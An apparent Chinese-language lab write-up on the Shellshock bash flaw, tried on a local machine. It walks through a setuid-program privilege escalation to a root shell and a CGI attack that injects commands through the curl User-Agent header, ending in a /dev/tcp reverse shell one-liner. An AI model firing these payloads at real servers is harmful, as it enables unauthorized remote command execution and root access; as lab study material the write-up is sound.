linux_pwnlab3.1_shellshock

replace the bash with vulnerable one
要注意将被攻击者的电脑上的bash替换为有漏洞的版本,也蛮久以前了
在这里攻击自己。。。

$sudo ln -sf /bin/bash_shellshock /bin/sh

这个漏洞生效的时间是在子进程创建的时候
在处理环境变量时出现的一个小错误,会将函数变量读到“}”为止而之后的内容变成可执行命令

1.setUID program

/*vul.c*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void main(){
setuid(geteuid());
system("/bin/ls -l");
}

是一个简单的ls程序

$gcc -o vul vul.c
$./vul

…run properly
这里我利用环境变量漏洞对程序进行攻击

$export foo='() { echo hello; }; /bin/sh'
$./vul
(child)sh $:

–>a user shell

$sudo chown root vul
$sudo chmod 4755 vul
$./vul
(child)sh #:

–>a root shell

2.CGI program

这里模拟一次远程的攻击
先test一下web功能
很多web功能都是基于脚本实现的,比如cgi文件

#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo
echo "hello!"

将这个cgi文件放在: /usr/lib/cgi-bin/test.cgi
然后使用一些web指令来访问执行这个脚本

$curl http://localhost/cgi-bin/test.cgi

hello!

响应这个请求的流程大概是这样:
HTTP request---->Apache>>fork();---->child proc>>exec();---->cgi
HTTP请求–>到达服务器fork子进程–>exec执行cgi脚本

以下是实验部分:
myprog.cgi

#!/bin/bash_shellshock
echo "content-type:text/plain"
echo
echo "want to be the master:)"
echo "================================="
strings /proc/$$/environ

place the cgi file: /usr/lib/cgi-bin/myprog.cgi
curl的-v功能是显示请求响应的细节

$curl -v http://localhost/cgi-bin/myprog.cgi
*   Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 80 (#0)
> GET /cgi-bin/myprog.cgi HTTP/1.1
> Host: localhost
> User-Agent: curl/7.47.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Tue, 04 Jun 2019 11:03:01 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
< 
want to be the master:)
=================================
HTTP_HOST=localhost
HTTP_USER_AGENT=curl/7.47.0
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.18 (Ubuntu) Server at localhost Port 80</address>
SERVER_SOFTWARE=Apache/2.4.18 (Ubuntu)
SERVER_NAME=localhost
SERVER_ADDR=127.0.0.1
SERVER_PORT=80
REMOTE_ADDR=127.0.0.1
DOCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/
SERVER_ADMIN=webmaster@localhost
SCRIPT_FILENAME=/usr/lib/cgi-bin/myprog.cgi
REMOTE_PORT=60040
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/cgi-bin/myprog.cgi
SCRIPT_NAME=/cgi-bin/myprog.cgi
* Connection #0 to host localhost left intact

可以观察到User-agent字段的内容和HTTP_USER_AGENT的内容相同,而且这个内容是反映客户端的代理情况,服务端如果要设置这个字段的内容,那一定是通过request请求中的内容来设置的
如果推理成立,那就可以利用这种行为来实现shellshock了

> User-Agent: curl/7.47.0
------------------------------
HTTP_USER_AGENT=curl/7.47.0

实验,将请求包种的User-Agent设置为自定义的内容:

$ curl -A "lol" -v http://localhost/cgi-bin/myprog.cgi
*   Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 80 (#0)
> GET /cgi-bin/myprog.cgi HTTP/1.1
...
> User-Agent: lol
...
HTTP_USER_AGENT=lol
...
* Connection #0 to host localhost left intact

得证!
proved!

回忆shellshock攻击的实现流程:
1.在环境变量时,要check这个变量是否为一个函数
2.check的方式是判断这个变量的内容是否以“() {”开头的(详情可以参阅源代码)
3.对函数的声明至“}”为止,之后的内容则会被当成指令执行

How to attack?

需要注意的是,目标cgi文件的内容是任意的,这个漏洞是针对:
“在启动cgi文件时 调用的 关于继承环境变量 漏洞”。
因此只要能判断目标主机在使用有漏洞版本的shell,那么这种攻击都可以实现

curl -A "() { echo hello; }; echo Content_type: text/plain; echo; echo 'have fun';" http://localhost/cgi-bin/myprog.cgi
have fun   <--------------------------------------------!!!!!!
content-type:text/plain

want to be the master:)
=================================
HTTP_HOST=localhost
HTTP_USER_AGENT=() { echo hello; }; echo Content_type: text/plain; echo; echo 'have fun';
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.18 (Ubuntu) Server at localhost Port 80</address>
SERVER_SOFTWARE=Apache/2.4.18 (Ubuntu)
SERVER_NAME=localhost
SERVER_ADDR=127.0.0.1
SERVER_PORT=80
REMOTE_ADDR=127.0.0.1
DOCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/
SERVER_ADMIN=webmaster@localhost
SCRIPT_FILENAME=/usr/lib/cgi-bin/myprog.cgi
REMOTE_PORT=60100
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/cgi-bin/myprog.cgi
SCRIPT_NAME=/cgi-bin/myprog.cgi

要注意的:
1.优先执行的是添加的恶意指令,“have fun”先被输出,证明之前说的,这个漏洞在cgi启动而未执行时被触发;
2.执行的恶意代码之前加上“echo Content_type: text/plain; echo;”是因为为了符合web文件的要求???<------------------Warning!

 echo Content_type:  text/plain;
 echo; 
 echo 'have fun';  <----here is the real malicious command

and the real attack:

$ curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/ls -l;" http://localhost/cgi-bin/myprog.cgi
total 4
-rwxr-xr-x 1 root root 158 May 21 15:56 myprog.cgi

成功返回目标主机在执行/bin/ls -l之后输出的内容,泄露了目标主机的信息
此时我们已经可以在目标主机执行任意指令了;但是直接“/bin/sh”?是没用的:
在terminal中输入/bin/sh,输出?没有输出!

要想获取对方的shell,必须建立一个reverse shell,基于web连接的shell
首先打开一个terminal,使用netcat工具,对本机的9098(随便一个空闲的端口都行)端口进行监听,等待连接

$ nc -l 9098 -v

打开一个新的terminal,作为被攻击的目标主机,执行以下命令将把打开的bash挂到与目标ip连接的socket上,并且启动了交互模式

$ /bin/bash -i > /dev/tcp/localhost/9098 0<&1 2>&1

指令解析:
“/bin/sh -i” interactive交互模式启动
“> /dev/tcp/localhost/9098” 目标为/dev/tcp/localhost/9098,即与攻击者9098端口的socket连接
“0<&1” 1为stdout,0为stdin,即本机的stdout为tcp(攻击者的输入,传输后成为目标主机的输出),stdin为本地的bash的输入
“2>&1” 2为stderr,stderr是本机的对屏幕输出,stdout为建立的tcp连接,即将程序徐输出面向tcp
–stderr与stout类似但是不输出到文件,仅针对输出到屏幕

• 0<&1: set stdout (1) as stdin (0). Since stdout is set to TCP socket,
then the program will get input from TCP socket
• 2>&1: set stderror(2) to setdout. Since stdout is now a TCP
socket, stdout will go to TCP socket

此时之前打开的那个端口监听程序获得响应,成功获取了另一个termnal的shell!

具体的攻击实现:
在攻击者主机,打开一个terminal,监听需要监听的端口(自定义)
利用shellshock漏洞传递攻击指令到目标主机

$ curl -A "() { echo hello; }; echo Content_type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/localhost/9090 0<&1 2>&1;" http://localhost/cgi-bin/myprog.cgi

check之前那个监听terminal,已经get了一个远程shell!

www-data@VM:/usr/lib/cgi-bin$
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值